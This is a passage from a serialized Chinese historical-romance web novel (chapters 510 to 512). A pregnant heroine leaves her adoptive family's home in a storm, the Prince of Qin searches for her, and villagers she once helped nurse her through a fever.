兰姨娘此时仿佛白日见鬼了一般,愣是半晌都没有反应过来,眼睁睁地看着她如今姣好的眉眼半晌。 终是碍于儿子衣上俊的关系,最后只微微挤出一点儿笑容来说了句:“啊,你回来啦!” “嗯。”衣上云亦微微颔首着应了句。 一时之间,兰姨娘竟也不知该如何面对她。于是摆了摆手,催促着衣上云对其说了句:“回来还没见过你母亲呢吧?去吧,去看你母亲吧!她整日都呆在明月轩里,可想你了呢?” “好。”衣上云答应着便提步兀自朝着后院方向走了去。 见其身影刚刚消失在自己眼前,兰姨娘忽地卸去了方才脸上的笑意,急急朝着衣上坤的书房走了进去。 慈母手中线,游子身上衣,临行密密缝,意恐迟迟归。 夕阳西下,黄昏时分,明月轩里。 年氏正坐在衣上云的榻边,用一只温柔的手一遍又一遍地轻抚着自己亲手为衣上云缝制的一套崭新的金丝花边红裙,上面放着一对栩栩如生的点翠蝴蝶钗,自言自语道:“苦命的孩子,你一个女儿家,孤苦伶仃,无依无靠地在外面受苦了……” 自打衣上云最后一次离开衣府后,每到傍晚时分,她都会来到这里一个人默默的自言自语一番:“今日有没有好好吃饭?衣服穿得够不够?打小你便喜凉不喜暖,即便是寒冬腊月,你亦总是穿着单薄,任我怎么说都不听。” 每每说着说着便总是情不自禁地流下泪来,这会儿,她的眼角又有泪花在闪动,她吸了吸鼻子,眼睛往窗外瞧了一眼,说:“眼下,虽说时已至暮春,可早晚的天还是有些凉,你一定要记得添衣才是呀!” 许是觉得自己日日在此说了这么多,盼了这么久,却依然不见她心心念念的孩子归来,年氏心里着急难过极了:“云儿,你到底什么时候才能回来?回来看母亲一眼,母亲真的好想好想你!” 衣上云站在门外,倚着门框,听到年氏所说的这一切,忍不住掩面而泣,瞬间泪流满面。 不知过了多久,寂静的阁楼里,忽然响起一熟悉的声音来:“母亲!” 闻声,年氏几近于已痴痴呆呆地将目光缓缓移向声音所发出来的方向。 “你是……你是……”年氏怔怔的看着站在门口的衣上云,却似半天都没认出来似的。 “母亲,是我,我是云儿,你的云儿回来了。”衣上云心疼不已地泪眼朦胧着说。 “云儿……你是云儿?你真的是云儿?我的云儿?我的云儿终于回来了?”即便是此刻人已经真真切切地站在自己面前,年氏缓缓站起身来仍然深觉难以置信地道。 “母亲!” 此情此景,衣上云终于再也抑制不住自己的情绪,说着便飞步上前过去将年氏紧紧抱住,母女俩至此真真切切地感受到彼此存在的温度,抱头痛哭在一起。 这时,婢女燕儿闻讯亦飞奔上楼来,惊立在门口扶着门框,瞬间喜极而泣道:“小姐,真的是你,你终于回来了!” 衣上云与年氏互相搀扶着缓缓起身,衣上云转身与上前近身过来的燕儿抱住,一声轻唤道:“燕儿。” 年氏看着眼前的一切,伸手一把掩住了嘴,极力不让自己哭出声来。 今夜,城西衣府里里外外从未如此灯火通明过,欢声笑语更是从未间断地传出来。 算是这个家里多年以来,唯一一次最为和谐愉快的晚餐过后,在婢女燕儿的侍奉下沐浴更衣完,正准备就寝的衣上云忽闻似是细雨霏霏,正在敲打着窗台。 生来便就尤为喜爱雨夜的人,瞬间没了睡意,索性伸手推开窗,细看起窗外微光照耀下的落红绿肥来。 想起还有要事未办,她碎碎念道:“事不宜迟,龙虎城的百姓还在等着我的解药呢。无论如何,一定得尽快找殿下商议才行!可是……殿下他,还会愿意见我吗?” 心事忡忡下,情不自禁地一下接一下轻抚起已经微微隆起的腹部来。 忽然,她隐隐听到一阵“噼里啪啦”的声音传出:“这声音,听着仿佛是从父亲的书房里传出来的。” 皱了皱眉,心里觉得像是有什么事情发生,于是她又开始换起衣服来,准备去查看。 夜已深,雨打芭蕉叶,书房里。 兰姨娘几经辗转反侧,夜不能寐,正苦口婆心地劝着衣府家主衣上坤。 “老爷,事到如今,我能体谅你为何这么多年以来,一直把云儿身世的秘密保守地如此密不透风。就连对我,也是只字不提。” 衣上坤扭过头去不看她,怒气冲冲地坐在书案边。 经过这许多事,兰姨娘已然变了不少,对衣上云早已没了先前的敌意:“可如今,她虽已经贵为公主,但却始终是敌国的公主。就这样明目张胆的住在咱们家,似乎不太方便吧?” 衣上坤气呼呼地说:“云儿住自己家里,有什么不方便?” 兰姨娘摇摇头,她知道衣上坤今夜也同样难以入眠,他心里也在犹豫,只是不承认。 于是,便替其分析:“老爷,我知道你心里比谁都清楚。云儿这件事,要是被宫里哪个有心的参你一本,那我们全家上下这几十口人可就都吃不了兜着走了。更何况,如今俊儿在朝中亦日渐被受以重用,难免会被一些人视为眼中钉,肉中刺,这要是万一被有心人……” 未及其将话说完,衣上坤便迫不及待地将其堵了回去:“亏你还记得,你若是有半点儿良心,你就该知道俊儿之所以有今天,那全是因为云儿,秦王殿下才会有心提拔于他。否则,俊儿怕是到现在还是整日里游手好闲,一事无成!” 兰姨娘深吸了口气,道:“我从来都不否认,俊儿能有今天,云儿确实功不可没。可今非昔比,云儿若还是以前的云儿,我无话可说,自然会比以前待她更好。然她现在的身份,就是一块烫手的山芋,谁接谁倒霉?” 兰姨娘的话,字字都在血淋淋地戳中着衣上坤的心窝,谁说不是呢? “如今纯太妃归来,秦王殿下与皇上之间的微妙关系已然昭然若揭,朝里众人谁看不出来?像我们这种小门小户的,能够自保便已经算是阿弥陀佛了,哪里还经得起这种波浪?” 看到衣上坤沉默不语着,已然无力再反驳,兰姨娘道:“老爷,云儿她虽贴心乖巧,可她生来本就不属于这里。” 就在衣上坤思量再三,正准备要说话时,窗外忽然传来一阵花盆落地破碎的声音:“哐当……” 闻声,兰姨娘慌忙地叫喊道:“是谁在外面?” 稍时,只见衣上云缓缓迈步走了进来,低低地道:“父亲,姨娘,是我。” 一见来人,衣上坤忽地立起身来,惊声道:“云儿?!你怎么来了?” 衣上云沉声说道:“方才父亲与姨娘所言,女儿在窗外都已经听到了。” 闻声,衣上坤与兰姨娘俩人顿时面面相觑着,不知该如何解释,衣上坤连忙着急地说:“云儿,你不要听你姨娘瞎说,你尽管好好在府里住着,父亲一定会想到办法保护好你,不会再让你……” 不想话刚开口,衣上云急急将其打断,道:“父亲,姨娘说的对,是女儿思虑不周,差点儿连累你们。事到如今,我们的确都已经再也回不到从前了。” 衣上云怎么都没有想到,已然没了亲生父母的自己,好不容易回到养父母身边,美好的时光竟就这么快偷偷溜走,她心里不禁顿时感慨万千,可自己又能怎样呢?仿佛这辈子,她都注定要孤单一个人了。 为了让父亲放心,她强撑出一抹微笑来道:“其实,女儿这次回西秦来,是有其他事情要办。只是许久未见父亲,母亲,甚是思念。如今,亲眼看到衣府里一切都好,女儿便也就放心了。” 衣上坤看着她的脸,忽然猜不透极了这个女儿的心思,便担心地问:“不,云儿,你要做什么?” 正说着,只见衣上云忽然缓缓双膝跪了下来在衣上坤的面前:“父亲大人在上,请受女儿一拜!日后,父亲一定要多多保重,云儿在此别过。” 一连三个尤为认真的叩首之后,衣上坤刚将衣上云扶起身来,衣上云最后仔细地看了他一眼,便忽地转身夺门走了出去。 衣上坤紧随其后追了出去,嘴里阻止着:“不,云儿,外面还在下着大雨,你这是要去哪儿?不可,不可啊!” 然却瞬间不见了衣上云的半点儿踪影,衣上坤对着眼前的漫天风雨呼唤道:“孩子,你快回来……” 第五百一十章:药渣 衣上云疾步刚奔出衣府大门。 便闻头顶顿时响起“轰隆隆”一阵巨响,刹那间,一道道霹雳闪电撕破夜空,似是欲要将整个黑夜都点亮一般。 紧接着,卷着狂风,倾盆大雨顷刻间“哗啦啦……”地便就这样倒了下来。 就在这样电闪雷鸣,忽明忽灭,风雨交加的街头,她依稀尚还能听到身后隐隐约约传来的阵阵呼喊声。 “孩子,你快回来……外面的雨越下越大,你这是要去哪儿啊?” “小姐,那么大的雨,你赶快回来啊!离开了衣府,你还能去哪儿啊?你快回来啊!燕儿求你了!” …… 任凭冰冷的雨水只不过须臾之间,便就将她弱小的全身俱都彻底浇灌透。 任凭无情的风雨,拍打洗刷着她泪流满面的脸庞,颤抖的身子随风雨而摇曳不止,却不被任何人所知。 滂沱大雨中,她漫无目的,踉踉跄跄地走着,走着…… 只有偶尔尚还能听到她似醒非醒,弱弱地发出呢喃的声音,知道她还尚存着一丝气息。 “是不是就这样死去,便就能彻底得到解脱。” 却是低落的念头升起刚一说出口来,却又顿时使出几乎全身的力气,努力强撑出一股力量让自己打起精神。 “不,我还不能死。孩子,我的孩子。别怕,我一定可以护你周全,一定可以……” 可天知道,她接下来将要走去哪里?又还能去哪里? 天大地大,任世间灯火万盏,竟独独没有一盏温暖是属于她的。 …… 而此时。 有一队黑衣人马,正快马加鞭着穿梭于急风骤雨之中的空巷,一直往城西方向急赶着。 这队人马,正是在闻讯衣上云归来的消息后,便一刻都迫不及待地寻人而来的秦王轩辕翰。 这场突如其来的暴雨着实太大,不光令人睁不开眼不说,只仅仅打在脸上,便能不禁令人直感觉硬生生地疼。 自打出了秦王府大门隐忍至今,程良一边骑马,一边瞥了一眼身旁一直脸色冷厉着的主子,关切地说:“殿下,这雨实在太大了,不如先找个地方避一避,等雨稍微小点儿了再继续赶路也不迟!” 不想主人竟纹丝不动,眼睛更是异于常人地在风雨的打击下眨都不眨一下,双眼只顾直勾勾地盯着前方的路,对他的话似是完全没有听见。 程良不愿放弃,再次尝试着开口。 “殿下,衣姑娘既然已经回到西秦,听闻如今东宁国朝堂上乃是三皇子梅志轩在执掌朝政。想必一时半会儿她应该没有那么快离开,殿下实在不必如此着急于一时!保重自己身体才是啊!” 启料轩辕翰依旧对他不理不睬,完全恍如孤立在另一个世界一般,当真是一个字都未听进去。 见此,程良最后不得已只能作罢默默地收了声,扬起手里的马鞭狠狠地在马儿的屁股上抽了一下,怒吼了一声:“驾!”,便继续埋头赶路。 不知过了多久,终于,风停了,雨也停了。 轻盈的雨珠滴嗒滴嗒地的从屋檐,树梢,还有那胭脂般娇嫩的花瓣上,悄悄滴落入泥土中,大地便顿时被激发出阵阵泥土清香的气息。 半夜三更,万籁俱寂,在整个世界全都陷入在沉沉的寂静中时,静悄悄的街巷胡同里,衣府门前忽然响起一阵嘈杂声来。 “开门,快开门……”紧接着,一阵紧急的叩门声,在半夜时分引起了周围一阵阵犬吠。 衣上云离开后,在衣府客厅里,灯火通明。 家主衣上坤刚刚仔细地检查确认完一堆药渣,缓缓念道:“砂仁、人参、白术、熟地……益气养血安胎,用于气血不足,胎动不安者。” 话未说完,只觉两腿一软,便就顺势瘫坐在一边,深陷入在对刚刚得知的一个惊天消息深觉焦头烂额,不知所措中。 看着衣上坤已然惊呆了的异常举动,兰姨娘上前至其身边,诚惶诚恐道:“老爷,我对天发誓,我是真的不知云儿那丫头,她……她竟然已身怀有孕,否则我说什么也不会……” 见衣上坤根本丝毫不理睬自己,她便不再继续说下去,转而将目光忽地移到了这件事的肇事者,发现衣上云夜里偷偷倒掉的这堆药渣,此刻正站在另一边正与衣上坤一齐坐着的年氏身旁,伤心地抹着眼泪,早已哭成了个泪人儿的燕儿身上。 兰姨娘瞪着她,责怪道:“你这个死丫头!整日陪伴在你家小姐左右,怎么连她已经怀孕如此重要的事情都不及时禀告?你究竟是何居心?” 年氏见燕儿已然伤心地泣不成声无法自辩,自己虽此时本亦担心地不得了,又不得不替其说话。 她用帕子拭了拭眼角的泪水,说:“事到如今,你又怪她做什么?她也是刚刚才发现这件事便就来禀报了。今夜,原本是全家好不容易团圆的好日子,若不是你平日里一向看不惯云儿,今夜怎么会出这样的事?” 一想到方才滂沱大雨倾盆而下,衣上云就这样冲了出去,年氏不禁再次掩嘴抽泣了起来:“夜里这般大的雨,也不知道云儿她能去哪里?可千万不要出什么事才好啊!” 兰姨娘听了这段话,生气地道:“你……” 可话尚未开口,却又忽觉以自己在衣家的身份,不屑与她解释,便又道:“我懒得理你!” 转而又继续朝家主衣上坤撒娇:“老爷,你要相信我,我真的不知道这一切……” 而此时在衣上坤的脑子里,他一直在思考的问题,自始至终都只是衣上云腹中的胎儿是谁的? 单从用药的量上看得出,胎儿已快满三个月,算算时间,应该是在东宁国所发生的事。那么,在东宁国的这段日子,衣上云到底遭遇了什么? 忽地一回神,见兰姨娘正在耳边喋喋不休,甚是令他烦恼,衣上坤便对在场众人扬声急怒道:“都不要吵了,能不能让我安静一会儿?都给我闭嘴!” 顿时间,一室寂静,鸦雀无声。 衣上坤稍作回想,目光缓缓看向燕儿的脸,认真地问:“燕儿,我问你,秦王殿下前段时日带你去东宁,说是照顾小姐。在那段时间里,小姐住在哪里?又与谁同住?” 燕儿吸了吸鼻子,回忆着说:“小姐住在东宁皇城里一座僻静的院子,是与秦王殿下同住的。” “与秦王殿下同住?”在场所有人都不约而同地看向她道。 见此,燕儿慌忙摆手,解释道:“不不不……不是你们想的那样。那座院子,是秦王殿下到了东宁后早就安排好的。殿下与小姐,他们虽然住在同一个院子,可他们俩都是发乎情,止乎礼,从未有过半点儿逾越之举。” 闻此,众人方才都长长地舒了口气。 衣上坤接着分析道:“如此说来,不是秦王殿下,那还会是谁?” 这时,燕儿忽然想到了一件事,说:“对了,秦王殿下的计划之所以败露,全都是因为易三少。” “易三少?”众人疑惑地道。 燕儿解释说:“没错,就是百草谷谷主,百草堂正主,亦是南安太子本尊。” “原来是他,老夫早就看出他身份不一般,原来他真正的身份竟是南安国太子!”衣上坤言语里透出几分敬意。 燕儿继续道:“他仰慕小姐已久,可终不得小姐芳心。于是,便与东宁三皇子梅志煊合谋,欲将秦王殿下置于死地,好使小姐迫不得已而放弃秦王殿下,作他的太子妃!真是卑鄙无耻至极!” 衣上坤想了想,问:“那小姐,她的意思呢?” 燕儿道:“小姐当然只喜欢秦王殿下一人咯,秦王殿下可是全西秦,不,殿下是整个灵空大陆最优秀的男子,无人能及。” 说来说去,经过一番了解后,似乎对于衣上云腹中胎儿的父亲始终都还没有定论。 衣上坤复又陷入了方才的一筹莫展之中:“云儿这个孩子的品性我最是了解,从小到大,她不愿意的事情,是没有人能强求的。可照燕儿方才所说,这个人……又不像是秦王……” 就在这时,忽闻门外传来一阵匆匆的脚步声,接着,一个疾呼声传来道:“老爷,不好了……” “发生了何事?”见此,衣上坤顿立起身来惊问道。 “老爷,不好了,门外有人上门来找大小姐!”一个小厮进来禀报。 “是谁?谁来找大小姐?”衣上坤一听,心里顿时忐忑不安起来,连忙着急地问。 “是……是……是秦王殿下。”那小厮显然被吓得吞吞吐吐起来。 “秦王?!” 衣上坤听了,瞬间恍如从梦中惊醒一般,简直不敢相信自己的耳朵,踉踉跄跄地便朝门口方向急奔了出去。 借着府里下人们手中挑着的微弱的灯火之光,衣上坤三步并作两步,刚到门口一看清来人,忙跨过门槛出门上前朝那如夜之神袛一般的尊贵身躯俯首下跪,毕恭毕敬地叩拜:“秦王殿下,千岁,千岁,千千岁!” 顿时间,几乎衣府所有上上下下几十口人齐刷刷地紧随其后出门跪在了其面前一地,纷纷大声齐呼:“秦王殿下,千岁,千岁,千千岁!” 第五百一十一章:能不能……放过她? 看到家主衣上坤携着一家老小,总算是终于姗姗来迟出门接驾,程良怒瞪了他一眼,却早已顾不得他,只仔仔细细地在此刻跪身在衣府门前的一大片人群中盘查搜索着。 同行前来的侍卫,一个个手里举着明亮的火把,火速上前将这人群里的男女老少全都围了起来,把每个人的脸顿时照的真真切切。 然而,当程良走来走去,几经反复寻觅,确定自己并没有落下一个人,却发现独独没有看到衣上云的身影。 未及轩辕翰开口说话,程良只纳闷地朝身后的主子看了一眼,一见他紧皱的眉头,倏的回头看回衣上坤的脸,问:“衣药师,听闻今日衣姑娘回来了,怎么不见她人呢?” 衣上坤垂首趴在地上,本就对于轩辕翰深夜忽然到访衣府正心里七上八下地琢磨着。 “云儿?……”一听程良的话,瞬间惊的不知所措,关于衣上云怀孕的事情还没弄清楚,眼下自己又该如何开口? 他怎么都没想到,衣上云刚刚回来,轩辕翰便就怎么得知了这个消息? …… 正暗自思量着,程良见其半天不作回应,身边其余跪趴着的人,更是一个比一个将头低的更低,似是各个恨不得挖个洞钻进去。 显而易见,此事定有蹊跷,于是再次唤道:“衣药师?衣药师?” 衣上坤瞬间恍如从梦中惊醒一般,抬头看着眼前这主,他是何等人也?想要把他糊弄过去,显然是不可能的事。 于是,便支支吾吾地说:“小女……她……她确实回来过……” 闻此,轩辕翰终于再也按捺不住内心的激动,开口却又惜字如金地沉声问:“她现在人呢?” 衣上坤哪里敢真的将夜里府中所发生的事一字不漏地说给他听,便再一次垂首下去吞吞吐吐了起来:“小女,她……她……” 见此,程良再也忍不住,扬起声来对其厉声呵斥道:“还不快说?想让本将军派人进去搜遍你整个府邸吗?” 果然,衣上坤被惊的身子不禁微微抖了一下,连忙说:“小女,她……她白天是回来过,可是……可是夜里已经离开了。” 离开了?”闻此,程良顿惊地再次看向轩辕翰的脸。 没想到,他们一得到消息便马不停蹄地紧赶慢赶,还是没有赶上。 看了主子一眼,程良回过头来又问:“那她现在去哪儿了?” 因为紧张害怕,衣上坤的身子一直瑟瑟发抖着,甚至就连说话的声音都有些颤抖:“启禀殿下,微臣也不知小女离开后去了哪里?” 程良只觉衣上坤一问三不知,好像拿他也没了办法,正在琢磨衣上云她到底能去哪里? 轩辕翰却看着眼前所跪身着的人,一个个都低着头像是很紧张的样子,觉得衣上云今夜离开的这件事一定有蹊跷。 忽然间,他有种极不好的预感涌上心头,于是亲自开口问:“她什么时候离开衣府的?” 衣上坤之前所顾忌的果然没错,眼前的这位主,哪里会轻易放过谁:“她……她……” 见他说话又支支吾吾起来,程良当即呵斥道:“殿下亲自问话,启由你吞吞吐吐,还不快说!” 衣上坤吓得脱口即出,道:“就是方才前半夜开始下暴雨的时候。” “你说什么?” 闻此,轩辕翰顿时瞪大了眼睛,同时疾步上前一把拎住了衣上坤的衣领将其提了起来,咬牙切齿狠狠地道:“她今夜若是有个什么闪失,本王定要你整个衣府为她陪葬!” 闻此,跪地众人一起齐声求饶道:“秦王殿下饶命,秦王殿下饶命啊!” 话一说完,轩辕翰便一把大力地将他狠狠推了开来,衣上坤惊的连连后退了好几步,方才再次重新站稳。 轩辕翰怒气冲冲地刚一转身,正欲上马离开,衣上坤不知哪里来的勇气,忽然开口道:“秦王殿下请留步,可否借一步说话?” 对于一个在宫里谨小慎微,整日里只求自保的人,轩辕翰心里其实一点儿也不想与他有所交集。 可一想到,这么多年以来,他又把衣上云隐藏地如此安全,心中又升出一抹恻隐之心。 于是,他挪了几步走到一边街角停下,衣上坤紧忙上前朝其近身了过去。 轩辕翰背对着他,双手负后立定等着。 衣上坤稍一思索,深吸了口气后,鼓起勇气来开口说道:“殿下,小女如今已经身怀有孕,怕是不能伺候殿下了。故,微臣恳请殿下,求殿下放过云儿这个丫头吧!” “放过她?”轩辕翰沉沉地重复了一句。 见轩辕翰听到这个消息,竟然毫不动声色,衣上坤心里便知此事轩辕翰应该早已知晓。于是想了一瞬,最后坚定地道:“是。” 接着,继续意味深长地说:想必殿下已然知道了关于云儿的一切,甚至远比微臣知道的多的多。事到如今,这个孩子,微臣已然再也藏不住,未来,更是无法继续保护她分毫。既然如此,或许,任由她回到原本该属于自己的地方,她才能活。” 话说至此,他忽然从未有过如此认真恭敬地朝着轩辕翰的后背抱起双拳来:“微臣恳请殿下,能不能……放过她,放过这个可怜的孩子?她虽是敌国的公主,但她打小便心地善良,从未伤害过任何人。” 此话一出,周围顿时一片寂静。 过了会儿,岂料轩辕翰忽然冷冷地笑了起来。 之后缓缓说道:“无论她是否有孕在身,亦不管她究竟是身为东宁国的永宁公主,还是西秦国的衣上云。总归,看来本王都要让衣药师失望了。” 闻此,衣上坤惊诧地看着他的背影:“殿下……” 只闻轩辕翰恨恨地道:“这辈子,衣上云,她生是秦王府的人,死,即秦王府的鬼,谁都拦不住。” 一时间,衣上坤简直不敢相信自己的耳朵,踉踉跄跄着差点儿摔倒。 眼睁睁看着轩辕翰一袭黑衣斗篷,步履坚定地从自己身旁经过,而他,却再也说不出一句话来。 就这样,这一大队人马,霎时间又紧随轩辕翰身后,消失在了茫茫夜色中。 黎明时分。 遥远的东方忽然有一道金色的光泄下,寂静的黑夜终被打破,朦朦胧胧的天地之间瞬间变得一片光明。 轩辕翰带人马不停蹄地连夜一路追赶,岂料终是未能得见衣上云的半点儿身影。 此时,心里虽不愿意承认,却又无可奈何地想着她离开衣府后,定是无处可去,便又连夜赶回东宁了。 仿佛想要抓住这辈子最后一丝希望,他沿着通往东宁国的必经之路,快马加鞭地一直向东追出到现在,已经远离西秦皇城好远好远…… 程良一路上仔细盘查,纳闷了许久,终于忍不住,开口说:“殿下,我们已经追了一夜了,却始终都不见衣姑娘的半点儿踪迹。或许……或许是不是我们一开始的方向便就错了?” 程良说着,再次仔细查看了一下周围的环境,心里越想越是纳闷:“会不会,衣姑娘她根本就没有出城。昨夜疾风骤雨,水路定是不通的。我们所走的这一路,又都是去往东宁的必经之路,没有理由会错过。可我们一路上也只顾着埋头追赶,明明一场大雨过去,路上到处都是泥泞不堪,然却除了我们自己,并没有见到任何其他车马经过所留下的痕迹。” 说着说着,他更加确定自己心中的疑惑,遂看向身旁主子的脸。 岂料自己分析说了这么多,可明显这个威严冷厉的主子像是魔怔了一般,只顾紧紧拽着手中的马缰绳目视前方,似是并没有想要放慢前行的速度半分。 不得已,程良只能伸手过去一把强行拉住轩辕翰手里的缰绳,将马儿制止了下来,大声劝说道:“殿下你清醒一点儿好不好?属下知道眼下你比谁都担心衣姑娘。可你稍微想一想,在您与衣上坤交谈的空隙,属下从燕儿那里听说衣姑娘是临睡前听到衣上坤夫妇的争吵去察看,之后突然离开衣府的,根本就连收拾行囊也没来得及。且不说那么大的雨,还是深夜,哪个车夫会出门揽客?就算是她有办法在大雨之夜雇到马车,殿下以为以一个普通百姓的马车,能快得过咱们追赶的马匹吗?” 轩辕翰依旧保持着紧握缰绳的姿势一动不动,只目光定定地看着前方空荡荡的大路,始终都没有说话。 程良一边说,一边想着,忽然就连自己都不敢相信,此时心中油然升起一抹极不好的预感来。 顿了顿,吞吞吐吐地说道:“然……然若是衣姑娘此刻真的人还在城里,那……夜里那么大的风雨,天色又是那么地暗,一个弱女子,还有着身子……若是她万一体力不支,倒在了哪个无人的街角,某个角落,而不被人发现……” 这时,只见轩辕翰目光忽地一闪,似是终于醒过了神来。 未及程良把话说完,便见他一溜儿烟似的驾马从其眼前急急掉头,兀自朝来时的路向皇城方向疾奔回去。 程良摇了摇头,立马命令身旁的侍卫道:“马上发消息回去,命令全城暗卫,以城西衣府为中心,地毯式搜索衣姑娘的下落,一旦发现其踪迹,立刻来报,快!” “是”侍卫抱拳认真地领命。 说完,一众人等便亦纷纷策马急急追了上去。 第五百一十二章:原来是她! 轩辕翰刚一回城,马蹄一跨入城门里,便有几名侍卫飞奔上前来替其牵马相迎。 未及轩辕翰开口说话,程良先一步跨下马来着急地问:“如何?有没有找到了?” 那看着像是个侍卫头领一般的人,看着程良的眼睛,无奈地摇了摇头,说:“一接到将军的命令,属下便发动了所有人搜遍了几乎整个全城,可还是……” 程良正一边听,一边思索着。 岂料身后忽然传出轩辕翰质疑的声音:“几乎?” 闻声,俩人不约而同急急地看向那张不怒自威的面孔。 只见轩辕翰抬头看了看头顶的一轮红日,,时间已然已至正午时分。昨夜的一场大雨过后,不想今日的阳光竟是如此格外的耀眼。 他咬了咬牙,收回视线,转而目视着前方说:“那就是说,截至目前为止,尚还没有搜完整座皇城?” 说着,顿将一双冷厉至极的剑目斜射向那侍卫头领的脸,怒斥其道:“都是怎么办事的?” 那侍卫头领当即立刻抱起拳来,低头朝其致歉:“属下失职,请殿下责罚!” 看到主子已然发怒,程良紧忙开口催促着道:“现在还有哪些地方没有搜查到?还不马上亲自带人去搜。” 看着那侍卫头领当即便带了一队人马正要准备出发,轩辕翰忽然开口说:“等等……本王亲自去。” 话音刚落,便见他一阵风似的一步越过马背,继而扬鞭策马奔驰而去,一众人等惊的目瞪口呆,忽地回过神来亦纷纷紧随其后追了上去。 西秦皇城西南郊区深巷内,一处偏僻的小门小户。 一位大腹翩翩的女人挺着圆滚滚的孕肚,看样子距离生产的时间已经不远了,此刻正在屋内朝外大声疾呼着:“娘,娘,你快点儿,快点儿啊!” “来了,来了。”一位步履蹒跚的老婆婆嘴上一边答应着,急急从院子角落的水井中打起一盆冷水,便双手将其捧着匆匆朝着屋内走了进去。 一进门,便道:“玉娘,冷水来了,冷水来了。” 玉娘即刻吩咐身边的小丫头,说:“灵儿,快去帮娘把外面的布巾拿过来。” “嗯” 一个全身穿着粉粉嫩嫩的小丫头趴在床边,瞪着一双圆溜溜的大眼睛,极其乖巧听话地点了点头,一边答应着便从外屋拿进来一条干净的布巾,将其递到了她的手里。 玉娘一接过,便将毛巾麻利认真地在冷水里打湿浸透后,提出来拧了拧,三两下便折叠起来,最后轻柔地放在了此刻正躺在床上,深陷入迷迷糊糊之中的一女子滚烫的额头上。 这样的动作,打从凌晨开始至今已经重复了很多次…… 眼看着女子已然打从后半夜里进了自家的门,至今一直都高烧不退,不省人事着,即便已经给其服下过驱寒姜汤,可依旧没有任何起色,玉娘心里焦急万分。 她放眼望向窗外张望了一瞬,愈加担心地说:“平安打从夜里把这姑娘一带回来,便就出门去城里找大夫了。可这眼看着都已经快吃晌午饭了,怎么到现在还不回来?若是再不请大夫回来,怕是这姑娘肚子里的孩子就快要保不住了!” 一旁的老婆婆拉着女子的手,一边替其擦拭并揉搓手心以使其发汗,希望能以此起到一些退热的作用。 听着儿媳的话,老婆婆心里亦是着急的不得了,看着女子此刻被烧的红彤彤的脸庞,说:“可怜的孩子,她到底是遇到什么难事了?昨夜电闪雷鸣,那么大的风雨,她怎么会一个人流落街头?还晕倒在街角。幸亏平安昨天进城送货回来的晚,这才在半路上遇到了她,否则,怕是早就……” 老婆婆说着说着,显然都已不忍心再继续想象下去,最后深深的叹了口气:“唉,作孽啊,真是作孽啊,也不知道是哪家的人如此狠心。这姑娘都已经有了身子了,还不好好照顾着点儿。” 就在这时,一旁的小丫头左看右看,眼睛一直盯视着床上女子的脸,忽然默默地叫了一声:“云姐姐……” “云姐姐?”玉娘听到女儿所发出的这阵喃喃低语,跟着重复了一句道。 莫非女儿认得眼前这位姑娘,玉娘想着,急忙看向女儿的脸,认真地问她:“灵儿,你刚才说什么?什么云姐姐?” 灵儿指着女子的脸,说:“奶奶,娘,你们看,你们看这个姐姐,她的脸,她长得是不是很像云姐姐呀?!” “云儿?”玉娘与婆婆俩面面相觑对视了一眼,兀自又一起将目光重新认真地投向女子的脸上。 可显然,端详了好久,她们还是没有从记忆里找出眼前的这个模样来。 见此,灵儿歪起圆圆的小脑袋来有模有样地质问其说:“你们真的不记得云姐姐了吗?” 玉娘与婆婆缓缓摇了摇头。 灵儿似是对这两个大人的记忆力很是怀疑,显得有些无奈的轻叹了口气,提示道:“就是咱们在秦王府遇到的那个会医术的云姐姐啊!” “秦王府?”闻此,老婆婆与儿媳两人顿时陷入对往事的回忆之中。 灵儿也在一边回忆着说:“当时娘亲为了寻爹爹,许久不见归家。奶奶便带着灵儿去秦王府告状。不想却在路上被人下了毒,就在这时,云姐姐出现了,她分文不收不但医好了奶奶的病,还给足了我们去秦王府的盘缠。后来在秦王府,云姐姐又再次医好了娘亲的病,这一切,难道你们都忘记了吗?” 至此,玉娘终于回忆起这一切来,往事一幕幕,又都是那样的血淋淋,叫人简直刻骨铭心。 只见回忆过往,她渐渐皱起了眉来,盯着女子的脸许久,最后忽然喃喃细语道:“原来是她……可是……她原本脸上的毒疮怎么……” 灵儿看着她如今姣好光洁的面容,高兴地说:“云姐姐的医术那么好,看来她一定是研究出了治愈自己脸上毒疮的方子。现在这样看来,她与秦王殿下就更配了。” 玉娘心里想来也是这样,于是感激不尽地看着女子的脸道:“不,灵儿,你还说漏了一样。” 灵儿顿时瞪大了双眼看向娘亲的脸,再次仔细想了想,问:“灵儿说漏了一样,还有什么呢?” 玉娘温柔地揉了揉灵儿的刘海,笑着说:“衣姑娘,她还帮我们找回了你爹爹呀!她可是我们全家的大恩人呢!” “就是,就是。之前听你们说衣姑娘失踪了,怕是凶多吉少。于是每逢初一,十五,我便都去城隍庙里虔诚地为她上香祈福。我就知道,好人有好报,她那么善良,老天爷不会这么不开眼。衣姑娘,她果然还活着,好端端地活着。”老婆婆亦是瞬间喜极而泣,紧紧握住了女子的手说道。 就在这时,衣上云的身子忽然开始发起抖来,同时,整个人都像是蜷缩了起来,一边哆嗦着,嘴里还时不时地发出一阵阵断断续续的呢喃之音。 “殿下,对不起,对不起……” “孩子,我的孩子,孩子……” 听到这里,老婆婆和玉娘脸上的表情再次变得凝重了起来。 玉娘想得许久,终是不明白,遂低声连连不解地道:“衣姑娘与秦王殿下之间到底发生了什么?衣姑娘怎么会变成现在这个样子?她肚子里的孩子……又是谁的?是殿下的吗?” 说着,她缓缓扭头过去看向了老婆婆的脸。 就在这时,耳边再次传来女子的声音:“冷,冷……” 闻声,玉娘顿回过神来赶忙过去又抱来一床被子欲帮其盖上。 岂料刚一铺开,却又听到女子说:“热,热,好热……” 至此,不知为何,心里忽然慌得不行,玉娘索性一把愤愤地掀掉了手里的被子,再也按捺不住内心的恐惧:“不行,这样下去不是办法,若是再继续耽误下去,孩子一定会出问题。” 一旁的老婆婆,早已经双手合十起来,闭着眼睛虔诚的祷告祈求:“阿弥陀佛,阿弥陀佛,菩萨保佑,保佑衣姑娘,一定要平安度过此劫,保佑她们母子平安。” 玉娘想了想,最后下定决心说:“娘,你在家里好好照顾着衣姑娘,我必须马上出去找大夫回来。” 老婆婆一听,紧张的顿捉住玉娘的手,担心地说:“可是玉娘,眼看着就在这几日,你马上便要临盆了。让你一个人独自挺着这么大个肚子出门,娘实在是不放心。” 玉娘的手顺势一个反转,又握紧了老婆婆的手,说:“可是娘,让我眼睁睁看着衣姑娘和腹中的孩子一起受罪,我们却什么都做不了,我的心里更加难过。” “玉娘!”老婆婆含着泪,左右皆是为难。 